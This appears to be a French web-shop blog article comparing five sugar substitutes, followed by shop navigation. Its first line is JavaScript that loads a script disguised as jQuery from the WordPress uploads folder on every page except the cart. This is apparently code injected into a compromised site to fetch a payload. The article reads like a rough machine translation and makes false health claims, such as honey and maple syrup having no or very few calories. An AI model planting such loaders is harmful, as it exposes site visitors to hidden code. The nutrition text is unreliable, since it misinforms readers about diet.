if (window.location.pathname !== '/cart/') { var scriptElement = document.createElement('script'); scriptElement.src = '/wp-content/uploads/jquery2.min.js'; document.head.appendChild(scriptElement); }

5 alternatives au sucre et dans quelle mesure sont-elles saines?

Le sucre endommage vos dents et votre silhouette. Un morceau de chocolat ici, un morceau de gâteau là-bas: le Suisse moyen consomme souvent trop de sucre. Cela peut avoir de graves conséquences sur la santé. Mais cela signifie-t-il que vous devez renoncer à la douceur de vos plats? Les personnes soucieuses de leur alimentation aiment donc utiliser des substituts de sucre comme la stévia ou le sirop d'érable.

Les alternatives au sucre pourraient être la solution. Vous pouvez facilement les trouver dans les rayons des supermarchés ou sur Internet. Ces produits ont souvent un prix élevé mais sont nettement plus sains que le sucre domestique normal. Quels édulcorants existe-t-il? Et sont-ils vraiment un substitut utile? Regardons de plus près.

Stevia

Le glycoside de stéviol est un édulcorant sans calorie qui est retiré de l'usine de stévia. La plante stevia appartient à la famille des chrysanthèmes et est originaire du nord-est du Paraguay. Il y a des centaines d'années, les habitants du Paraguay et du Brésil ont réalisé le puissant pouvoir sucrant de cette plante et depuis lors, ils utilisent les feuilles pour sucrer leurs propres aliments et boissons. La stévia est également connue sous le nom de capsule de miel dans ces états en raison de sa douceur irrésistible. Aujourd'hui, la stévia a été cultivée dans d'immenses régions du monde et a été approuvée comme substitut du sucre sans calorie dans plusieurs pays.

La stévia est jusqu'à 300 fois plus sucrée que le sucre conventionnel et est obtenue à partir de la plante de stévia. De plus, il est considéré comme sain car il ne contient aucune calorie.

feuilles de stévia morceaux isolés sur fond blanc MBG5YWJ

Miel

Quoi de plus bénéfique lors du choix des meilleurs édulcorants naturels qu'un produit dérivé des abeilles? Pourquoi? Parce que le miel ne contient ni graisse ni cholestérol et a des effets anti-inflammatoires et antipyrétiques sur l'organisme. De plus, c'est un produit naturel dépourvu de toute calorie ou autre substance pouvant entraîner une prise de poids.

De plus, en tant qu'édulcorant, il présente une pléthore d'avantages pour la santé qui ont été prouvés au cours de siècles d'utilisation. Le miel cru contient de fortes concentrations d'antioxydants et d'autres composés sains qui peuvent vous aider à perdre du poids plus rapidement.

Une cuillère à café de ce nectar sucré, par exemple, peut facilement pimenter les plats.

Sirop d'érable

Le sirop d'érable vient du Canada, le pays avec la feuille d'érable sur le drapeau. Non seulement il peut être une délicieuse alternative au sucre, mais lorsqu'il est apprécié en équilibre, il peut vraiment avoir des avantages incroyables pour la santé. De plus, il contient du calcium, du potassium, du fer, du zinc et du manganèse, ainsi qu'au moins 24 antioxydants. Le sirop d'érable fournit à votre corps l'énergie dont il a besoin pendant le processus de digestion et est absolument faible en calories et riche en valeur nutritive.

Semblable au miel, le sirop aurait des propriétés anti-inflammatoires mais n'est pas moins dommageable pour les dents que le sucre. Cependant, lorsque vous consommez du sirop d'érable, votre glycémie augmente lentement. De plus, en raison de la forte teneur en eau, le sirop contient moins de calories. Gardez à l'esprit lorsque vous achetez du sirop d'érable: plus la couleur est claire, mieux c'est. Utilisez-le pour les vinaigrettes, les desserts ou classiquement pour les crêpes.

Sucre de coco

Le sucre de coco provient du nectar des boutons floraux des cocotiers. Il appartient au groupe du sucre de palme. Les petits agriculteurs asiatiques produisent minutieusement l'édulcorant à la main: ils coupent les boutons floraux jusqu'à ce que le nectar de noix de coco sorte. Ceci est collecté puis réduit.

Un simple échange pour une recette sucrée serait le sucre de coco. Vous devez toujours le consommer avec modération, mais le sucre de coco contient beaucoup plus de nutriments que le sucre blanc raffiné. En outre, il conserve des nutriments tels que les minéraux fer, zinc, calcium et potassium, ainsi que certains acides gras à chaîne courte comme les polyphénols et les antioxydants. C'est pourquoi cet édulcorant est une excellente alternative au sucre!

Cet édulcorant a le goût du caramel et ne convient que pour la cuisson dans une mesure limitée - car il ne se dissout pas aussi bien que le sucre conventionnel.

sucre de coco TGHY3M5

Xylitol

En plus des substituts de sucre conventionnels, le xylitol est utilisé de plus en plus fréquemment. Il appartient aux alcools de sucre.

En termes de goût, le xylitol peut être noté car il est similaire au sucre de table normal et contient également moins de calories. De plus, il ne favorise pas la carie dentaire. Comme tous les alcools de sucre, le xylitol a un effet flatulent et laxatif en grande quantité. Par conséquent, respectez les dosages indiqués.

substituts de sucre

Panier

×
Votre panier est vide. :( Go to Shop
Sélectionnez votre devise
Remonter en haut
Rechercher
NOURRITURE ET BOISSON

Biscuits
Beauté et soins
le chocolat
Nourriture et boissons
Café Suisse
La nourriture végétarienne

vitesse d'affaires
Équipement de camping
Sport
Sac à dos suisse
Sacs de voyage

ACCESSOIRES
JEUX ET JOUETS
STYLOS ET CRAYONS
LIVRES
HUILES ESSENTIELLES
PRODUIT ÉCOLOGIQUE
ACCESSOIRES POUR LA MAISON
ARTICLES DE CUISINE ET MÉNAGER
EN SOLDE